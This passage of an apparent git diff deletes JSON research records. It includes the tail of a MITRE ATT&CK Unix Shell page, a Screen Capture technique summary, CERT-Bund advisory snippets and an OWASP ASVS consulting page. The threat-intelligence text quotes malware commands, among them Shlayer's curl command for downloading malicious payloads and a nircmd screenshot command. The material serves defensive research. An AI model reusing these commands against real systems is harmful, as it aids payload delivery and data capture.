[48]\n\nS0402\n\nOSX/Shlayer\n\nOSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command sh -c tail -c +1381... to extract bytes at an offset from a specified file. OSX/Shlayer uses the curl -fsL \"$url\" \u003e$tmp_path command to download malicious payloads into a temporary directory. [49] [50] [51] [52]\n\nS0352\n\nOSX_OCEANLOTUS.D\n\nOSX_OCEANLOTUS.D uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the /tmp folder. [53] [54]\n\nS1109\n\nPACEMAKER\n\nPACEMAKER can use a simple bash script for execution. [55]\n\nS0587\n\nPenquin\n\nPenquin can execute remote commands using bash scripts. [56]\n\nS1123\n\nPITSTOP\n\nPITSTOP has the ability to receive shell commands over a Unix domain socket. [57]\n\nS0279\n\nProton\n\nProton uses macOS' .command file type to script actions. [58]\n\nS1108\n\nPULSECHECK\n\nPULSECHECK can use Unix shell script for command execution. [55]\n\nC0055\n\nQuad7 Activity\n\nQuad7 Activity has enabled the creation of an access-controlled command shell /bin/sh on compromised routers. [59] [60]\n\nC0056\n\nRedPenguin\n\nDuring RedPenguin , UNC3886 used malware capable of launching an interactive shell. [61] [62]\n\nS1219\n\nREPTILE\n\nREPTILE can deploy components automatically with shell scripts. [63]\n\nS1222\n\nRIFLESPINE\n\nRIFLESPINE can execute commands with /bin/sh . [63]\n\nG0106\n\nRocke\n\nRocke used shell scripts to run commands which would obtain persistence and execute the cryptocurrency mining malware. [64]\n\nG1015\n\nScattered Spider\n\nScattered Spider has used the command shell to upload and install the Teleport remote access tool to a compromised vCenter Server Appliance. [65]\n\nG1041\n\nSea Turtle\n\nSea Turtle used shell scripts for post-exploitation execution in victim environments. [66] [67]\n\nS9008\n\nShai-Hulud\n\nShai-Hulud has utilized Linux shell commands to modify configuration files. [68]\n\nS0468\n\nSkidmap\n\nSkidmap has used pm.sh to download and install its main payload. [69]\n\nS1163\n\nSnappyTCP\n\nSnappyTCP creates the reverse shell using a pthread spawning a bash shell. [66]\n\nG1056\n\nTeamPCP\n\nTeamPCP has leveraged malware capable of execution via the Linux CLI. [70]\n\nS9041\n\nTeamPCP Cloud Stealer\n\nTeamPCP Cloud Stealer has abused the shell script files entrypoint.sh (in trivy-action) and setup.sh (in ast-github-action/2.3.28) for discovery and credential harvesting. [71] [72]\n\nG0139\n\nTeamTNT\n\nTeamTNT has used shell scripts for execution. [73] [74]\n\nS0647\n\nTurian\n\nTurian has the ability to use /bin/sh to execute commands. [75]\n\nG1048\n\nUNC3886\n\nUNC3886 has used a bash script to install malicious vSphere Installation Bundles (VIBs). [76]\n\nG1047\n\nVelvet Ant\n\nVelvet Ant used a custom tool, VELVETSTING, to parse encoded inbound commands to compromised F5 BIG-IP devices and then execute them via the Unix shell. [77]\n\nS1217\n\nVIRTUALPITA\n\nVIRTUALPITA has the ability to spawn a bash shell for script execution. [76]\n\nG1017\n\nVolt Typhoon\n\nVolt Typhoon has used Brightmetricagent.exe which contains a command- line interface (CLI) library that can leverage command shells including Z Shell (zsh). [78]\n\nS0466\n\nWindTail\n\nWindTail can use the open command to execute an application. [79]\n\nS0658\n\nXCSSET\n\nXCSSET uses a shell script to execute Mach-o files and osacompile commands such as, osacompile -x -o xcode.app main.applescript . [80]\n\nS1114\n\nZIPLINE\n\nZIPLINE can use /bin/sh to create a reverse shell and execute commands. [81]\n\nMitigations\n\nID\n\nMitigation\n\nDescription\n\nM1038\n\nExecution Prevention\n\nUse application control where appropriate. On ESXi hosts, the execInstalledOnly feature prevents binaries from being run unless they have been packaged and signed as part of a vSphere installation bundle (VIB). [82]\n\nDetection Strategy\n\nID\n\nName\n\nAnalytic ID\n\nAnalytic Description\n\nDET0384\n\nBehavioral Detection of Unix Shell Execution\n\nAN1081\n\nDetects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell \u003e suspicious commands \u003e network discovery or persistence indicators.\n\nAN1082\n\nIdentifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.\n\nAN1083\n\nDetects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.\n\nAN1084\n\nDetects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.\n\nReferences\n\ndie.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.\n\nApple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.\n\nCERT Polska. (2026, January 30). Energy Sector Incident Report – 29 December. Retrieved April 22, 2026.\n\nGrange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.\n\nCybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.\n\nPatrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.\n\nGlyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.\n\nCrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.\n\nScott Henderson, Cristiana Kittner, Sarah Hawley \u0026 Mark Lechtik, Google Cloud. (2023, January 19). Suspected Chinese Threat Actors Exploiting FortiOS Vulnerability (CVE-2022-42475). Retrieved December 31, 2024.\n\nThe Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.\n\nMatt Lin, Austin Larsen, John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Crew, Billy Wong, Tyler McLellan. (2024, April 4). Cutting Edge, Part 4: Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies. Retrieved April 16, 2026.\n\nSushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.\n\nFalcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.\n\nEriksen, C. (2026, March 22). CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran. Retrieved July 27, 2026.\n\nEriksen, C. (2026, March 20). TeamPCP deploys CanisterWorm on NPM following Trivy compromise. Retrieved July 27, 2026.\n\nMarvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.\n\nSebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.\n\nDutch Military Intelligence and Security Service (MIVD) \u0026 Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Min", - "content_type": "text/html", - "query": "T1014 / T1059.004 / T1685 aktuelle offizielle Dokumentation Version Support", - "language": "en-US", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.4533333333333333, - "source_quality": "reputable_secondary", - "source_quality_score": 0.68, - "actionable": true, - "covered_gap_ids": [ - "ADAPTIVE-1" - ], - "assessment_reason": "Volltextmaterial für die Artikelsynthese gesammelt; die fachliche Belegprüfung erfolgt anschließend am generierten Artikel." - } -} diff --git a/data/research-evidence/5adc8fdf4d1d025135c1b444.json b/data/research-evidence/5adc8fdf4d1d025135c1b444.json deleted file mode 100644 index 9e4f1e6..0000000 --- a/data/research-evidence/5adc8fdf4d1d025135c1b444.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:56:05.8263Z", - "content_sha256": "9d40998cb762efc326f38f38a3e4697b72a1809b4c00da90141dbb967ae1855d", - "result": { - "title": "T1113 Screen Capture — MITRE ATT\u0026CK · Patrick Saade", - "url": "https://www.patricksaade.com/reference/attack-map/T1113/", - "snippet": "Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.", - "content": "Definition\n\nAdversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\n\nPlatforms Linux macOS Windows\n\nHow it's detected\n\nTelemetry that surfaces this technique, from MITRE's detection strategies:\n\nModule Load Process Creation\n\nSeen in the wild\n\nDuring the 2025 Poland Wiper Attacks, the adversaries captured screenshots of devices using nircmd console through the command nircmd.exe “savescreenshot C:\\Windows\\Temp\\imagetmp.png.\n\nAPT28 has used tools to take screenshots from victims.\n\nAPT39 has used a screen capture utility to take screenshots on a compromised host.\n\nAPT42 has used malware, such as GHAMBAR and POWERPOST, to take screenshots.\n\nA sample of 171 documented uses — the MITRE page has the full list.\n\nD3FEND countermeasures\n\nDefensive techniques that counter this, from the MITRE D3FEND map:\n\nD3-SCA System Call Analysis Detect\n\nD3-SCF System Call Filtering Isolate\n\nReference\n\nMITRE ATT\u0026CK — T1113: Screen Capture\n\nATT\u0026CK® is a registered trademark of The MITRE Corporation; technique names and IDs come from the public ATT\u0026CK knowledge base.", - "content_type": "text/html", - "query": "Welche spezifischen Verhaltensmuster von T1113 (Screen Capture) sind bei der Analyse von macOS-Malware wie MacMa und XAgentOSX relevant?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.5468571428571428, - "source_quality": "primary", - "source_quality_score": 0.8160000000000002, - "actionable": true, - "covered_gap_ids": [ - "AR-86eb8cf9-4" - ], - "assessment_reason": "Die Quelle beschreibt allgemeine Verhaltensmuster von T1113 (Screen Capture) und gibt Beispiele für APT-Gruppen, die Screenshots erstellen. Allerdings fehlen spezifische Details zu macOS-Malware wie MacMa und XAgentOSX. Die Quelle ist relevant, da sie die allgemeine Technik erläutert, die bei der Analyse solcher Malware relevant sein könnte, aber sie liefert keine konkreten Schritte oder Beispiele für macOS-spezifische Verhaltensmuster." - } -} diff --git a/data/research-evidence/5afa63a1f1f828cd48183751.json b/data/research-evidence/5afa63a1f1f828cd48183751.json deleted file mode 100644 index fe38082..0000000 --- a/data/research-evidence/5afa63a1f1f828cd48183751.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:27:37.6920863Z", - "content_sha256": "b7b044b838943eea83869b29cbee76c3a7236df2923762e41d3535cefa8fc404", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0086", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7071765073253791, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/5e687f62f996f4be6bc2d81c.json b/data/research-evidence/5e687f62f996f4be6bc2d81c.json deleted file mode 100644 index b846942..0000000 --- a/data/research-evidence/5e687f62f996f4be6bc2d81c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:29:37.7886071Z", - "content_sha256": "22178b033f72a61c03eb78d5c21682affc4be77eb5496680287f699aa617f24e", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1346", - "snippet": "Ein entfernter Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Root-Rechte zu erlangen, um Sicherheitsmechanismen zu umgehen, einen Denial-of-Service-Zustand herbeizuführen oder Auswirkungen unbestimmter Art zu erzielen.", - "content": "Ein entfernter Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Root-Rechte zu erlangen, um Sicherheitsmechanismen zu umgehen, einen Denial-of-Service-Zustand herbeizuführen oder Auswirkungen unbestimmter Art zu erzielen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7148819917473166, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/5fcf5051dfd52edd86afd7a1.json b/data/research-evidence/5fcf5051dfd52edd86afd7a1.json deleted file mode 100644 index c115948..0000000 --- a/data/research-evidence/5fcf5051dfd52edd86afd7a1.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:39:36.7744354Z", - "content_sha256": "a126b9e22de1a9fc5d8261da92aed3ee239f355d3a151bcc3e7b8454abeb9faa", - "result": { - "title": "[UPDATE] [mittel] Apache HttpComponents Core: Mehrere Schwachstellen ermöglichen Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2172", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Apache HttpComponents Core ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Apache HttpComponents Core ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6821878873320624, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/602105339eb6ae921ef966d5.json b/data/research-evidence/602105339eb6ae921ef966d5.json deleted file mode 100644 index 32e1e9a..0000000 --- a/data/research-evidence/602105339eb6ae921ef966d5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:36:06.842863Z", - "content_sha256": "1169b87102474fcb846948e72bb32733c938f6ba42c10095fd7a7ce2104fc4c4", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Privilegieneskalation und Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1756", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel für eine Privilegieneskalation ausnutzen, sowie um einen Denial of Service Zustand oder andere, nicht spezifizierte Auswirkungen herbeizuführen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel für eine Privilegieneskalation ausnutzen, sowie um einen Denial of Service Zustand oder andere, nicht spezifizierte Auswirkungen herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.698531451913297, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/605175bc852860c90ab2a5eb.json b/data/research-evidence/605175bc852860c90ab2a5eb.json deleted file mode 100644 index 7c7c2ce..0000000 --- a/data/research-evidence/605175bc852860c90ab2a5eb.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:37:36.2669134Z", - "content_sha256": "6be37627c3b69e69a009f05c7a2810217e011546afac76dab5d3b48853f7d324", - "result": { - "title": "[NEU] [mittel] Linux Kernel: Schwachstelle ermöglicht Offenlegung von Informationen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2704", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Informationen offenzulegen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6923456872937817, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/616ec180b7f23ef1b55589c7.json b/data/research-evidence/616ec180b7f23ef1b55589c7.json deleted file mode 100644 index 5e0a14a..0000000 --- a/data/research-evidence/616ec180b7f23ef1b55589c7.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:48:11.5068483Z", - "content_sha256": "119b13e9e3f4b9147fc4a559b6cbc5080e9b148fc9f1a1b2dc6b7029dbf1126a", - "result": { - "title": "[NEU] [mittel] jsoup: Schwachstelle ermöglicht Cross-Site Scripting", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2698", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in jsoup ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in jsoup ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6480618737330641, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/68bd10ac9c79e1b7272bab70.json b/data/research-evidence/68bd10ac9c79e1b7272bab70.json deleted file mode 100644 index 41f1b68..0000000 --- a/data/research-evidence/68bd10ac9c79e1b7272bab70.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:46:12.686143Z", - "content_sha256": "36bd4aefdecd1c54cba06704c3dc5d20ac5547800f52e4aec97556ad3c4da758", - "result": { - "title": "[UPDATE] [hoch] Red Hat Enterprise Linux (sssd, glib, c-ares): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2419", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um Administratorrechte zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um Administratorrechte zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6549704432636785, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/69463c1b645c499e65212df7.json b/data/research-evidence/69463c1b645c499e65212df7.json deleted file mode 100644 index 2ee663b..0000000 --- a/data/research-evidence/69463c1b645c499e65212df7.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:45:07.4717417Z", - "content_sha256": "b608a512a01cbeed76c572fc004420d3ee9a4dc5ce661e318ff305c75277efc4", - "result": { - "title": "[UPDATE] [hoch] ffmpeg: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2526", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um eine Speicherbeschädigung herbeizuführen, beliebigen Code auszuführen, einen Denial-of-Service-Zustand auszulösen oder vertrauliche Informationen offenzulegen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in ffmpeg ausnutzen, um eine Speicherbeschädigung herbeizuführen, beliebigen Code auszuführen, einen Denial-of-Service-Zustand auszulösen oder vertrauliche Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6582817865491506, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/6b81538ebce2ee4d06dae196.json b/data/research-evidence/6b81538ebce2ee4d06dae196.json deleted file mode 100644 index f066eb9..0000000 --- a/data/research-evidence/6b81538ebce2ee4d06dae196.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:02:44.9419991Z", - "content_sha256": "caa794aba7133056b14a751b342843bb340c39c21884c49c0a3c515c710d641e", - "result": { - "title": "OWASP ASVS Assessment | Anwendungssicherheit nachweisen", - "url": "https://bws-group.de/unsere-leistungen/informationssicherheit/owasp-asvs-assessment/", - "snippet": "Das Assessment kombiniert verschiedene Prüfmethoden, um ein vollständiges Bild der Sicherheitslage zu erhalten. Alle Ergebnisse werden so aufbereitet, dass sie sowohl technisch als auch für Management und Audits nutzbar sind. Wir beraten sie in einem Erstgespräch unverbindlich und kostenfrei.", - "content": "OWASP ASVS Assessment\n\nAnwendungssicherheit strukturiert prüfen und nachweisen\n\nJetzt kostenlose Erstberatung vereinbaren\n\nWas ist ein OWASP ASVS Assessment?\n\nEin OWASP ASVS Assessment liefert eine standardisierte und nachvollziehbare Bewertung der Sicherheit Ihrer Webanwendung. Während klassische Penetrationstests einzelne Schwachstellen identifizieren, ermöglicht ASVS eine systematische Prüfung entlang definierter Anforderungen. Das Ergebnis ist ein belastbarer Nachweis Ihres Sicherheitsniveaus und eine klare Grundlage für weitere Maßnahmen.\n\nJetzt kostenlose Erstberatung anfordern\n\nWarum klassische Penetrationstests für moderne Webanwendungen oft nicht ausreichen\n\nStandard-Penetrationstests sind ein wichtiger Bestandteil der Sicherheitsstrategie. In vielen Projekten zeigen sich jedoch Grenzen, wenn es um Vergleichbarkeit, Nachweisbarkeit und Vollständigkeit geht.\n\nStandard-Penetrationstests liefern oft eine punktuelle Sicht auf Schwachstellen\n\nFür vergleichbare und auditierbare Sicherheit fehlt häufig ein klarer Referenzrahmen\n\nUnternehmen benötigen belastbare Nachweise gegenüber Kunden, Partnern und Behörden\n\nSteigende Anforderungen aus ISO 27001 , NIS-2 und branchenspezifischen Standards erhöhen den Druck\n\nEin OWASP ASVS Assessment schließt genau diese Lücke, indem es die Anwendung systematisch und nachvollziehbar bewertet.\n\nWas ist ein OWASP ASVS Assessment?\n\nDer OWASP Application Security Verification Standard ist ein international anerkanntes Framework zur Bewertung von Anwendungssicherheit. Er definiert konkrete Anforderungen, anhand derer sich das Sicherheitsniveau einer Anwendung strukturiert prüfen lässt.\n\nDer OWASP Application Security Verification Standard ist ein international anerkanntes Framework zur Bewertung von Anwendungssicherheit\n\nZiel ist eine strukturierte, nachvollziehbare und vergleichbare Prüfung von Webanwendungen\n\nDas Assessment folgt definierten Anforderungen und Prüfkatalogen statt eines rein explorativen Testansatzes\n\nEinordnung in Sicherheitslevel (Level 1 bis 3) je nach Schutzbedarf und Risikoprofil\n\nDamit eignet sich ASVS insbesondere für Unternehmen, die Sicherheit nicht nur prüfen, sondern auch nachweisen müssen.\n\nWelche Herausforderungen ein ASVS Assessment adressiert\n\nIn vielen Unternehmen fehlt eine klare und einheitliche Bewertung der Anwendungssicherheit. Dies führt zu Unsicherheiten in Projekten, bei Audits und in der Kommunikation mit Stakeholdern.\n\nFehlende Transparenz über das tatsächliche Sicherheitsniveau von Anwendungen\n\nSchwierigkeiten bei Audits und Kundenanforderungen\n\nUnklare oder nicht standardisierte Sicherheitsanforderungen in Entwicklungsprojekten\n\nHoher Abstimmungsaufwand zwischen Entwicklung, Security und Management\n\nDas ASVS Assessment schafft hier eine gemeinsame Grundlage und reduziert Interpretationsspielräume.\n\nFür wen ist ein OWASP ASVS Assessment besonders relevant?\n\nEin ASVS Assessment richtet sich an Organisationen, die ihre Anwendungssicherheit strukturiert bewerten und nachweisen müssen.\n\nIT-Leiter im Mittelstand: planbare Sicherheit und Reduktion operativer Risiken\n\nCIOs im Konzernumfeld: Governance, Skalierbarkeit und Nachweisfähigkeit\n\nCISOs und Security Manager: Auditfähigkeit, Compliance und strukturierte Sicherheitsbewertung\n\nSie wissen nicht, ob Sie einen Pentest oder ein OWASP ASVS Assessment benötigen? Wir beraten sie in einem Erstgespräch\n\nunverbindlich und kostenfrei.\n\nJetzt kostenlose Erstberatung anfordern\n\nUnsere Leistung: OWASP ASVS Assessment\n\nWir führen OWASP ASVS Assessments durch, die sich am Schutzbedarf Ihrer Anwendung orientieren und technisch fundiert umgesetzt werden.\n\nIndividuelle Auswahl des passenden ASVS Levels\n\nZu Beginn wird das geeignete ASVS Level definiert. Dieses bildet die Grundlage für den gesamten Prüfprozess.\n\nUnterstützung bei der Auswahl des geeigneten Levels (Level 1 bis 3)\n\nOrientierung am Schutzbedarf, Geschäftsrisiko und Einsatzkontext der Anwendung\n\nDurchführung des ASVS Assessments\n\nDas Assessment kombiniert verschiedene Prüfmethoden, um ein vollständiges Bild der Sicherheitslage zu erhalten.\n\nAudit der Anwendung auf Konformität mit dem gewählten ASVS Level\n\nEinsatz von Methoden aus verschiedenen Bereichen:\n\nPenetrationstests\n\nKonfigurationsanalysen\n\nDokumentationsreviews\n\nInterviews mit relevanten Stakeholdern\n\nStrukturierte und nachvollziehbare Dokumentation\n\nAlle Ergebnisse werden so aufbereitet, dass sie sowohl technisch als auch für Management und Audits nutzbar sind.\n\nVollständige Abbildung aller geprüften Anforderungen\n\nDokumentation der Testergebnisse und Bewertungen\n\nKlar strukturierte, durchsuchbare Ergebnisdarstellung\n\nNachvollziehbare Herleitung aller Findings und Bewertungen\n\nWir beraten sie in einem Erstgespräch\n\nunverbindlich und kostenfrei.\n\nJetzt kostenlose Erstberatung anfordern\n\nPrüfpunkte im OWASP ASVS Assessment\n\nDas Assessment orientiert sich an den Vorgaben des OWASP ASVS und deckt zentrale Sicherheitsbereiche ab.\n\nAuthentifizierung\n\nPrüfung sicherer Passwortanforderungen\n\nSchutzmechanismen gegen Brute-Force-Angriffe\n\nEinsatz und Umsetzung von Multi-Faktor-Authentifizierung\n\nZugriffskontrollen\n\nAnalyse von Berechtigungsmodellen\n\nPrüfung auf unberechtigte Rechteausweitung\n\nSicherstellung einer konsistenten Zugriffskontrolle\n\nInput-Validierung\n\nSchutz vor Injection-Angriffen\n\nValidierung sämtlicher Eingaben auf Serverseite\n\nAbsicherung gegen unsichere Datenverarbeitung\n\nKryptografie\n\nEinsatz aktueller und sicherer kryptografischer Verfahren\n\nBewertung der Implementierung und Schlüsselverwaltung\n\nPrüfung auf unsichere oder veraltete Algorithmen\n\nLogging und Monitoring\n\nProtokollierung sicherheitsrelevanter Ereignisse\n\nNachvollziehbarkeit von Zugriffen und Änderungen\n\nUnterstützung für Incident Detection und Response\n\nIhr Vorteil durch ein OWASP ASVS Assessment\n\nEin ASVS Assessment bietet Ihnen nicht nur Transparenz, sondern auch eine belastbare Entscheidungsgrundlage für weitere Maßnahmen.\n\nInternational anerkannter Standard zur Bewertung der Anwendungssicherheit\n\nKlare und nachvollziehbare Nachweise für Kunden, Partner und Auditoren\n\nKombination aus Penetrationstests, Audits und Reviews in einem strukturierten Verfahren\n\nTransparente Darstellung aller Anforderungen und Ergebnisse\n\nKonkrete Roadmap zur nachhaltigen Verbesserung der Sicherheit\n\nJetzt kostenlose Erstberatung anfordern\n\nWarum BWS Consulting Group für ASVS Assessments\n\nWir verbinden technische Umsetzungskompetenz mit fundierter Erfahrung in Informationssicherheit und Compliance.\n\nKombination aus Softwareentwicklung und Informationssicherheit\n\nTechnische Umsetzungskompetenz statt rein konzeptioneller Beratung\n\nErfahrung in ISO 27001, TISAX®*-Assessment und BSI-Grundschutz\n\nErfahrene Penetrationtester\n\nFokus auf nachvollziehbare Ergebnisse und praktische Umsetzbarkeit\n\nUnser Team und seine Zertifikate\n\nUnsere Berater aus dem Bereich Informationssicherheit bilden sich kontinuierlich weiter. Damit wollen wir für Sie die beste Qualität zu aktuellen Normen und Standards abliefern. Unsere ISMS-Berater und Pentester haben folgenden Schulungen absolviert und folgende Zertifikate erreicht.\n\nZertifikate und Schulungen:\n\nNIS-2 Experte (NIS-2-Umsetzung: die Anforderungen der EU-Richtlinie in der Praxis erfüllen)\n\nEthical Hacking Foundation\n\neJPT – Junior Penetration Tester\n\nISO/IEC 27001 Lead Auditor\n\nISO/IEC 27001 Lead Implementer\n\nITSiBe/ CISO nach ISO/IEC 27001 und BSI IT-Grundschutz\n\nEXIN Information Security Foundation based on ISO/IEC 27001\n\nIT-Risk Manager gemäß ISO 31000, ISO 27005 und BSI IT-Grundschutz\n\nBusiness Continuity Manager gemäß ISO 22301, ISO 27031 und BSI IT-Grundschutz\n\nKritische Infrastrukturen gem. ISO/IEC 27001 und 27019\n\nBSI BCM-Praktiker\n\nKRITIS-Beauftragter – Beauftragter für den Schutz Kritischer Infrastrukturen in Unternehmen und Verwaltungen\n\nFoundation Examination TISAX®* Assessment\n\nDatenschutzbeauftragter nach DSGVO und BDSG\n\nZusätzliche Prüfverfahrenskompetenz für § 8a (3) BSIG\n\nICS Security Manager gemäß IEC 62443, ISO 27001 und BSI IT-Grundschutz\n\nAD-RTS – AD-Red Team Specialist\n\nWeb-RTA – Web Red Team Analyst\n\nHäufig gestellte Fragen zum OWASP ASVS Assessment\n\nHier finden Sie häufige Fragen, die uns oft gestellt werden.\n\nWann ist ein ASVS Assessment sinnvoll?\n\nEin ASVS Assessment ist sinnvoll, wenn Sie das Sicherheitsniveau Ihrer 